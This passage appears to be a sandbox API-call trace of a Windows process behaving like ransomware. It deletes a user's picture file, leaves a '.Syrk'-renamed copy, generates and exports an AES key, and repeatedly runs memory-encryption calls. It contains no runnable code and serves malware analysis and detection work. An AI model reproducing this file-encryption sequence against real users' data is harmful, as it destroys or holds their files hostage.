lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\ut5I85Hmrtdjra4F.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0255.250] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\ut5I85Hmrtdjra4F.jpg", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\ut5I85Hmrtdjra4F.jpg", lpFilePart=0x0) returned 0x30 [0255.252] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\ut5I85Hmrtdjra4F.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0255.252] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\ut5I85Hmrtdjra4F.jpg", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\ut5I85Hmrtdjra4F.jpg", lpFilePart=0x0) returned 0x30 [0255.253] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0255.253] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\ut5I85Hmrtdjra4F.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0255.253] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\ut5I85Hmrtdjra4F.jpg", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\ut5I85Hmrtdjra4F.jpg", lpFilePart=0x0) returned 0x30 [0255.253] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\ut5I85Hmrtdjra4F.jpg\\*" (normalized: "c:\\users\\keecfmwgj\\pictures\\ut5i85hmrtdjra4f.jpg\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0255.253] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0255.253] CoTaskMemAlloc (cb=0x404) returned 0x3b0008 [0255.253] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x3b0008, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0255.253] CoTaskMemFree (pv=0x3b0008) [0255.255] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\ut5I85Hmrtdjra4F.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\ut5i85hmrtdjra4f.jpg")) returned 0x20 [0255.255] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\ut5I85Hmrtdjra4F.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0255.255] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\ut5I85Hmrtdjra4F.jpg", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\ut5I85Hmrtdjra4F.jpg", lpFilePart=0x0) returned 0x30 [0255.255] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0255.255] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\ut5I85Hmrtdjra4F.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\ut5i85hmrtdjra4f.jpg"), fInfoLevelId=0x0, lpFileInformation=0x24724a4 | out: lpFileInformation=0x24724a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30fd50a0, ftCreationTime.dwHighDateTime=0x1d992af, ftLastAccessTime.dwLowDateTime=0x3eb647d0, ftLastAccessTime.dwHighDateTime=0x1d997ad, ftLastWriteTime.dwLowDateTime=0x3eb647d0, ftLastWriteTime.dwHighDateTime=0x1d997ad, nFileSizeHigh=0x0, nFileSizeLow=0x20f1)) returned 1 [0255.255] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0255.255] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\ut5I85Hmrtdjra4F.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\ut5i85hmrtdjra4f.jpg")) returned 1 [0255.257] EtwEventActivityIdControl () returned 0x0 [0255.258] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.258] EtwEventActivityIdControl () returned 0x0 [0255.258] EtwEventActivityIdControl () returned 0x0 [0255.258] EtwEventActivityIdControl () returned 0x0 [0255.264] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\ut5I85Hmrtdjra4F.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\ut5i85hmrtdjra4f.jpg.syrk")) returned 0x20 [0255.265] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\ut5I85Hmrtdjra4F.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\ut5i85hmrtdjra4f.jpg.syrk")) returned 0x20 [0255.265] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\ut5I85Hmrtdjra4F.jpg.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x36 [0255.266] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\ut5I85Hmrtdjra4F.jpg.Syrk", nBufferLength=0x36, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\ut5I85Hmrtdjra4F.jpg.Syrk", lpFilePart=0x0) returned 0x35 [0255.266] EtwEventActivityIdControl () returned 0x0 [0255.266] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.267] EtwEventActivityIdControl () returned 0x0 [0255.267] EtwEventActivityIdControl () returned 0x0 [0255.267] EtwEventActivityIdControl () returned 0x0 [0255.271] EtwEventActivityIdControl () returned 0x0 [0255.271] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.272] EtwEventActivityIdControl () returned 0x0 [0255.272] EtwEventActivityIdControl () returned 0x0 [0255.272] EtwEventActivityIdControl () returned 0x0 [0255.275] EtwEventActivityIdControl () returned 0x0 [0255.275] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.276] EtwEventActivityIdControl () returned 0x0 [0255.276] EtwEventActivityIdControl () returned 0x0 [0255.276] EtwEventActivityIdControl () returned 0x0 [0255.279] EtwEventActivityIdControl () returned 0x0 [0255.280] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.280] EtwEventActivityIdControl () returned 0x0 [0255.280] EtwEventActivityIdControl () returned 0x0 [0255.280] EtwEventActivityIdControl () returned 0x0 [0255.283] EtwEventActivityIdControl () returned 0x0 [0255.284] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.284] EtwEventActivityIdControl () returned 0x0 [0255.284] EtwEventActivityIdControl () returned 0x0 [0255.284] EtwEventActivityIdControl () returned 0x0 [0255.288] EtwEventActivityIdControl () returned 0x0 [0255.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0255.291] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\ut5I85Hmrtdjra4F.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\ut5i85hmrtdjra4f.jpg.syrk"), fInfoLevelId=0x0, lpFileInformation=0x247c1d0 | out: lpFileInformation=0x247c1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b759d0, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x13b759d0, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x13b9bb30, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x2114)) returned 1 [0255.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0255.292] GetConsoleOutputCP () returned 0x1b5 [0255.292] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0255.292] GetConsoleOutputCP () returned 0x1b5 [0255.293] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0255.293] GetConsoleOutputCP () returned 0x1b5 [0255.293] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0255.293] GetConsoleOutputCP () returned 0x1b5 [0255.293] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0255.293] GetConsoleOutputCP () returned 0x1b5 [0255.293] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0255.293] GetConsoleOutputCP () returned 0x1b5 [0255.294] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0255.294] GetConsoleOutputCP () returned 0x1b5 [0255.294] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0255.294] GetConsoleOutputCP () returned 0x1b5 [0255.294] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0255.294] GetConsoleOutputCP () returned 0x1b5 [0255.294] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0255.294] GetConsoleOutputCP () returned 0x1b5 [0255.295] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0255.295] GetConsoleOutputCP () returned 0x1b5 [0255.295] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0255.295] GetConsoleOutputCP () returned 0x1b5 [0255.295] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0255.295] GetConsoleOutputCP () returned 0x1b5 [0255.295] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0255.295] GetConsoleOutputCP () returned 0x1b5 [0255.295] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0255.296] GetConsoleOutputCP () returned 0x1b5 [0255.296] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0255.296] GetConsoleOutputCP () returned 0x1b5 [0255.296] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0255.296] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0255.296] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0255.297] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2495e40*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x2495e40*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0255.297] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0255.297] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0255.298] EtwEventActivityIdControl () returned 0x0 [0255.298] EtwEventActivityIdControl () returned 0x0 [0255.299] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.362] EtwEventActivityIdControl () returned 0x0 [0255.362] EtwEventActivityIdControl () returned 0x0 [0255.362] EtwEventActivityIdControl () returned 0x0 [0255.364] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.364] EtwEventActivityIdControl () returned 0x0 [0255.364] EtwEventActivityIdControl () returned 0x0 [0255.364] EtwEventActivityIdControl () returned 0x0 [0255.366] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d188) returned 1 [0255.368] CryptGenKey (in: hProv=0x5c4d188, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c996e0) returned 1 [0255.368] CryptContextAddRef (hProv=0x5c4d188, pdwReserved=0x0, dwFlags=0x0) returned 1 [0255.368] CryptExportKey (in: hKey=0x5c996e0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0255.368] CryptExportKey (in: hKey=0x5c996e0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x249d818, pdwDataLen=0x5a2e8c4 | out: pbData=0x249d818*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0255.368] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.369] EtwEventActivityIdControl () returned 0x0 [0255.369] EtwEventActivityIdControl () returned 0x0 [0255.369] EtwEventActivityIdControl () returned 0x0 [0255.370] SysStringLen (param_1="") returned 0x8 [0255.370] SysStringLen (param_1="o") returned 0x8 [0255.370] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.370] SysStringLen (param_1="싃頀唐꘴냚畩숖") returned 0x8 [0255.370] SysStringLen (param_1="싃頀唐꘴냚畩숖") returned 0x8 [0255.370] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.370] SysStringLen (param_1="oL") returned 0x8 [0255.370] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.370] SysStringLen (param_1="왐஼춾뢢羛䌑") returned 0x8 [0255.370] SysStringLen (param_1="왐஼춾뢢羛䌑") returned 0x8 [0255.370] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.370] SysStringLen (param_1="oLh") returned 0x8 [0255.370] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.371] SysStringLen (param_1="丩⠐혭쇵貳\廛∡) returned 0x8 [0255.371] SysStringLen (param_1="丩⠐혭쇵貳\廛∡) returned 0x8 [0255.371] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.371] SysStringLen (param_1="oLhJ") returned 0x8 [0255.371] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.371] SysStringLen (param_1="既꛰득Ȥଆ优꣩湬") returned 0x8 [0255.371] SysStringLen (param_1="既꛰득Ȥଆ优꣩湬") returned 0x8 [0255.371] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.371] SysStringLen (param_1="oLhJd") returned 0x8 [0255.371] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.371] SysStringLen (param_1="ᤀ몰䯞䈤䔀ఘ") returned 0x8 [0255.371] SysStringLen (param_1="ᤀ몰䯞䈤䔀ఘ") returned 0x8 [0255.371] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.372] SysStringLen (param_1="oLhJdO") returned 0x8 [0255.372] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.372] SysStringLen (param_1="쀁ഥ쭕ܫ뾙㛟뷱") returned 0x8 [0255.372] SysStringLen (param_1="쀁ഥ쭕ܫ뾙㛟뷱") returned 0x8 [0255.372] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.372] SysStringLen (param_1="oLhJdOL") returned 0x8 [0255.372] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.372] SysStringLen (param_1="昩㪪훅∋긜") returned 0x8 [0255.372] SysStringLen (param_1="昩㪪훅∋긜") returned 0x8 [0255.372] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.372] SysStringLen (param_1="oLhJdOLc") returned 0x8 [0255.372] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.372] SysStringLen (param_1="䎯\菚ⅾ煿俿龉⊕) returned 0x8 [0255.373] SysStringLen (param_1="䎯\菚ⅾ煿俿龉⊕) returned 0x8 [0255.373] SysStringLen (param_1="䎯\菚ⅾ煿俿龉⊕) returned 0x8 [0255.373] SysStringLen (param_1="䎯\菚ⅾ煿俿龉⊕) returned 0x10 [0255.373] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.374] SysStringLen (param_1="oLhJdOLc0笺귚쑍䤎屮墤") returned 0x10 [0255.374] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.374] SysStringLen (param_1="䎯\菚ⅾ煿俿龉⚕龨㜶抌矊ढ∽) returned 0x10 [0255.374] SysStringLen (param_1="䎯\菚ⅾ煿俿龉⚕龨㜶抌矊ढ∽) returned 0x10 [0255.374] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.374] SysStringLen (param_1="oLhJdOLc0X귚쑍䤎屮墤") returned 0x10 [0255.374] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.374] SysStringLen (param_1="䎯\菚ⅾ煿俿龉\Þ웸ꜷ⣱庽腓縇ﶭ") returned 0x10 [0255.374] SysStringLen (param_1="䎯\菚ⅾ煿俿龉\Þ웸ꜷ⣱庽腓縇ﶭ") returned 0x10 [0255.374] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.374] SysStringLen (param_1="oLhJdOLc0XJ쑍䤎屮墤") returned 0x10 [0255.374] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.374] SysStringLen (param_1="䎯\菚ⅾ煿俿龉\엛ୱ᫃表䐪⣑ꤑ⶞") returned 0x10 [0255.374] SysStringLen (param_1="䎯\菚ⅾ煿俿龉\엛ୱ᫃表䐪⣑ꤑ⶞") returned 0x10 [0255.375] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.375] SysStringLen (param_1="oLhJdOLc0XJH䤎屮墤") returned 0x10 [0255.375] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.375] SysStringLen (param_1="䎯\菚ⅾ煿俿龉ᮕ说ꥳꞼ齚巉頲ᶵ∍) returned 0x10 [0255.375] SysStringLen (param_1="䎯\菚ⅾ煿俿龉ᮕ说ꥳꞼ齚巉頲ᶵ∍) returned 0x10 [0255.375] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.375] SysStringLen (param_1="oLhJdOLc0XJHc䤎屮墤") returned 0x10 [0255.375] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.375] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㾕芩᠃决ꦸヴᮟ䃞∦) returned 0x10 [0255.375] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㾕芩᠃决ꦸヴᮟ䃞∦) returned 0x10 [0255.375] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.375] SysStringLen (param_1="oLhJdOLc0XJHc0屮墤") returned 0x10 [0255.375] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.376] SysStringLen (param_1="䎯\菚ⅾ煿俿龉钕㧧踆忁ج餮ᘝ≙) returned 0x10 [0255.376] SysStringLen (param_1="䎯\菚ⅾ煿俿龉钕㧧踆忁ج餮ᘝ≙) returned 0x10 [0255.376] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.376] SysStringLen (param_1="oLhJdOLc0XJHc0n墤") returned 0x10 [0255.376] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.376] SysStringLen (param_1="䎯\菚ⅾ煿俿龉ᶕ닼駚枡ҥ䟧詴ᗾ≇) returned 0x10 [0255.376] SysStringLen (param_1="䎯\菚ⅾ煿俿龉ᶕ닼駚枡ҥ䟧詴ᗾ≇) returned 0x10 [0255.376] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.376] SysStringLen (param_1="oLhJdOLc0XJHc0nw") returned 0x10 [0255.376] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.376] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ⋨) returned 0x10 [0255.377] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ⋨) returned 0x10 [0255.377] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ⋨) returned 0x10 [0255.377] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ⋨) returned 0x18 [0255.377] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.377] SysStringLen (param_1="oLhJdOLc0XJHc0nwI庢ͩ绳ୄ沤◃") returned 0x18 [0255.377] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.377] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뫨⥘莤욪\蟛ᱠﺠ") returned 0x18 [0255.377] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뫨⥘莤욪\蟛ᱠﺠ") returned 0x18 [0255.377] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.378] SysStringLen (param_1="oLhJdOLc0XJHc0nwI0ͩ绳ୄ沤◃") returned 0x18 [0255.378] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.378] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ叨柎㯅鼫ᛶ抺獰蝮∍) returned 0x18 [0255.378] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ叨柎㯅鼫ᛶ抺獰蝮∍) returned 0x18 [0255.378] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.378] SysStringLen (param_1="oLhJdOLc0XJHc0nwI0H绳ୄ沤◃") returned 0x18 [0255.378] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.378] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ⻨쇜甑޽ぞ뺣࿢锩∫) returned 0x18 [0255.378] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ⻨쇜甑޽ぞ뺣࿢锩∫) returned 0x18 [0255.378] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.378] SysStringLen (param_1="oLhJdOLc0XJHc0nwI0HC绳ୄ沤◃") returned 0x18 [0255.378] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.378] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ柨뫍㉷\곘維䴶꠪") returned 0x18 [0255.379] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ柨뫍㉷\곘維䴶꠪") returned 0x18 [0255.379] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.379] SysStringLen (param_1="oLhJdOLc0XJHc0nwI0HCQୄ沤◃") returned 0x18 [0255.379] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.379] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ軨숑苷痂\姘嬡‷灁") returned 0x18 [0255.379] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ軨숑苷痂\姘嬡‷灁") returned 0x18 [0255.379] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.379] SysStringLen (param_1="oLhJdOLc0XJHc0nwI0HCQj沤◃") returned 0x18 [0255.379] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, 